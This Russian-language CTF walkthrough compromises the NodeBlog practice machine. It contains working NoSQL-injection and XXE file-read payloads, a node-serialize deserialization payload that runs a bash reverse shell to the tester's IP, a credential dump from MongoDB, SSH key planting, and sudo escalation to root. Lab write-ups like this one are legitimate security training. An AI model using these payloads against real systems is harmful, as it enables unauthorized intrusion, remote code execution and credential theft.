Обзор сервисов
IP-адрес машины 10.10.11.139
. Проверим вывод nmap
:
$ sudo nmap -sS -Pn -p1-65535 -oN 10.10.11.139 10.10.11.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-28 03:42 EDT
Initiating Parallel DNS resolution of 1 host. at 03:42
Completed Parallel DNS resolution of 1 host. at 03:42, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 03:42
Scanning 10.10.11.139 [65535 ports]
Discovered open port 22/tcp on 10.10.11.139
Discovered open port 5000/tcp on 10.10.11.139
Completed SYN Stealth Scan at 03:53, 683.30s elapsed (65535 total ports)
Nmap scan report for 10.10.11.139
Host is up, received user-set (0.15s latency).
Scanned at 2023-07-28 03:42:00 EDT for 684s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 683.48 seconds
Raw packets sent: 69348 (3.051MB) | Rcvd: 68685 (2.761MB)
Веб-интерфейс
Кастомный блог на порту 5000.
NoSQL-инъекция
Попробуем залогиниться как admin:admin
.
Мы получаем сообщение о неверном пароле. В BurpSuite это выглядит так:
Попробуем вставить payload user=admin&password[$ne]=admin
(по гайду), но это не работает.
Попробуем изменить Content-Type
на application/json
и поправить payload:
{
"user": "admin",
"password": {"$ne": "admin"}
}
Выставим себе аутентификационные cookie:
После этого появляется возможность писать и загружать статьи.
XXE
Попробуем загрузить свой XML.
<article>
<title>Tove</title>
<description>Jani</description>
<markdown>Reminder</markdown>
</article>
Выполнился POST запрос на /articles/xml
.
Попробуем воспользоваться XXE и загрузить такой файл:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace SYSTEM "file:///etc/passwd"> ]>
<article>
<title>Tove</title>
<description>Jani</description>
<markdown>&toreplace;</markdown>
</article>
Мы смогли прочитать файл /etc/passwd
.
В нем мы нашли пользователя admin
и mongodb
.
Теперь, чтобы прочитать код приложения, нужно обнаружить его расположение в файловой системе. Попробуем отправить статью, где все поля заполним словом test
:
В результате получим ошибку:
Код приложения располагается в каталоге /opt/blog/
.
С помощью xml файла с содержимым ниже удалось прочитать файл /opt/blog/server.js
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace SYSTEM "file:///opt/blog/server.js"> ]>
<article>
<title>Tove</title>
<description>Jani</description>
<markdown>&toreplace;</markdown>
</article>
server.js
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
Десериализация
В приведенном выше примере нас интересует строчка c = serialize.unserialize(c)
, которая находится в функции authenticated
, явно принимающей на вход значение cookie.
Приготовим payload с помощью гайда.
$ echo 'bash -i >& /dev/tcp/10.10.16.93/4242 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA+JjEK
$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA+JjEK | base64 -d | bash
{"rce":"_$$ND_FUNC$$_function() {require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA+JjEK | base64 -d | bash', (error, stdout, stderr) => { console.log(stdout); }); } ()"}
После сделаем URLEncode:
%7B%22rce%22%3A%22%5F%24%24ND%5FFUNC%24%24%5Ffunction%28%29%20%7Brequire%28%27child%5Fprocess%27%29%2Eexec%28%27echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA%2BJjEK%20%7C%20base64%20%2Dd%20%7C%20bash%27%2C%20%28error%2C%20stdout%2C%20stderr%29%20%3D%3E%20%7B%20console%2Elog%28stdout%29%3B%20%7D%29%3B%20%7D%20%28%29%22%7D
Вставим в значение auth
, запустим nc -lnvp 4242
и обновим страницу.
Пользовательский флаг
Каталог /home/admin
не получается прочитать.
meterpreter > cd home
meterpreter > ls -la
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040644/rw-r--r-- 220 dir 2022-01-03 12:16:35 -0500 admin
meterpreter > cd admin
[-] stdapi_fs_chdir: Operation failed: 13
Дадим ему права 755
и прочитаем флаг.
meterpreter > chmod 755 admin
meterpreter > ls -la
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040755/rwxr-xr-x 220 dir 2022-01-03 12:16:35 -0500 admin
meterpreter > cd admin
meterpreter > ls -la
Listing: /home/admin
====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 1863 fil 2021-12-30 21:29:43 -0500 .bash_history
100644/rw-r--r-- 220 fil 2020-02-25 07:03:22 -0500 .bash_logout
100644/rw-r--r-- 3771 fil 2020-02-25 07:03:22 -0500 .bashrc
040700/rwx------ 40 dir 2021-07-02 14:58:14 -0400 .cache
100600/rw------- 125 fil 2021-12-13 08:21:15 -0500 .dbshell
100600/rw------- 0 fil 2021-12-13 08:15:59 -0500 .mongorc.js
040775/rwxrwxr-x 158 dir 2022-01-03 12:19:00 -0500 .pm2
100644/rw-r--r-- 807 fil 2020-02-25 07:03:22 -0500 .profile
100644/rw-r--r-- 0 fil 2021-07-02 14:58:19 -0400 .sudo_as_admin_successful
100600/rw------- 10950 fil 2022-01-03 12:16:35 -0500 .viminfo
100644/rw-r--r-- 33 fil 2023-07-28 06:34:22 -0400 user.txt
meterpreter > cat user.txt
b5b8896aec3fc608fe36b24f518cf9ec
Повышение привилегий
Попробуем посмотреть, что есть в mongo.
$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("b962493a-a1e2-4eec-b676-4b19f0df96f3") }
MongoDB server version: 3.6.8
$ show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
$ use blog
switched to db blog
$ show collections
articles
users
$ db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
Запишем креды admin:IppsecSaysPleaseSubscribe
. Пропишем свой SSH-ключ в машину.
mkdir .ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrMmPXmO096rgSNKnSmqo/mS8NwcLRFdq2h8lIy4spc u" >> ~/.ssh/authorized_keys
Соединимся по SSH и проверим, что умеет пользователь admin
с паролем выше.
$ ssh [email protected]
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Jan 4 16:33:21 2022
admin@nodeblog:~$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
Пользователю admin
доступны любые действия с помощью sudo
.
admin@nodeblog:~$ sudo su
root@nodeblog:/home/admin#
Флаг суперпользователя
root@nodeblog:/home/admin$ cd /root
root@nodeblog:~$ ls
root.txt snap
root@nodeblog:~$ cat root.txt
04f278f5f00b8f85aca4b9971e792059